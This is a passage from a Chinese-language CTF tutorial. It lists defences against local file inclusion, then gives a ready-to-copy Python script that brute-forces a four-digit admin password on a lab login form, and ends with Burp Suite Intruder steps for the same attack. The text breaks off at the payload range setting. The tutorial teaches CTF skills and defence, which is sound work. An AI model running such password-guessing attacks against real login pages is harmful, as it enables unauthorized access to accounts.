CTF 基础题型实战解析：LFI 与暴力破解脚本

1.3 防御思路

理解了攻击方法，我们也要知道如何防御。作为开发者，你可以：

1. 白名单验证：只允许包含特定的、预定义的文件
2. 路径限制：禁止路径中包含 .. 等特殊字符
3. 文件扩展名检查：确保包含的文件具有合法的扩展名
4. 使用绝对路径：避免相对路径带来的不确定性

2. 暴力破解：当密码只有四位数字时

暴力破解（Brute Force）是最'暴力'也最直接的攻击方式——通过尝试所有可能的组合来找到正确的密码。

2.1 场景分析

题目页面有一个简单的登录表单，当你输入用户名 admin 和错误密码时，会提示'密码错误，为四位数字'。这个提示非常关键，它告诉我们：

1. 用户名很可能是 admin
2. 密码是四位纯数字
3. 可能的组合范围是 0000-9999，共 10000 种可能

2.2 Python 爆破脚本实战

对于这种小范围的爆破，用 Python 写个脚本是最方便的。下面是示例脚本，你可以直接复制使用：

import requests
import time
# 目标 URL
url = "http://靶机地址/login.php"
# 记录开始时间
start_time = time.time()
# 遍历 0000-9999
for i in range(10000):
    # 格式化密码为四位数字，如 0001、0123 等
    password = f"{i:04d}"
    # 构造请求数据
    data = {
        'username': 'admin',
        'password': password
    }
    try:
        # 发送 POST 请求
        response = requests.post(url, data=data, timeout=5)
        # 打印尝试记录
        print(f"[*] 尝试密码：{password}", end='\r')
        # 判断是否成功
        if "密码错误" not in response.text:
            print(f"\n[+] 找到密码：{password}")
            print(f"[+] 响应内容:\n{response.text[:500]}")
            # 只打印前 500 字符
            print(f"[+] 总耗时：{time.time() - start_time:.2f}秒")
            break
    except requests.exceptions.RequestException as e:
        print(f"\n[-] 请求失败：{e}")
        break
# 如果循环结束还没找到
else:
    print("\n[-] 未找到正确密码")

这个脚本有几个实用的设计细节：

• 进度显示：使用 end='\r' 让输出在同一行更新，更清晰
• 超时设置：避免某个请求卡住整个程序
• 异常处理：网络问题不会导致程序崩溃
• 性能考虑：单线程运行，避免被封 IP

2.3 Burp Suite 爆破方法

如果你更喜欢图形化工具，Burp Suite 的 Intruder 模块是更好的选择。具体操作流程如下：

1. 抓取登录请求：使用 Burp 的代理功能拦截登录请求
2. 发送到 Intruder：右键选择'Send to Intruder'
3. 设置攻击位置：在 Positions 标签中，清除所有变量，只选中密码参数
4. 配置 Payload：
   • Payload 类型选择'Numbers'
   • 范围设置为 0 到 9999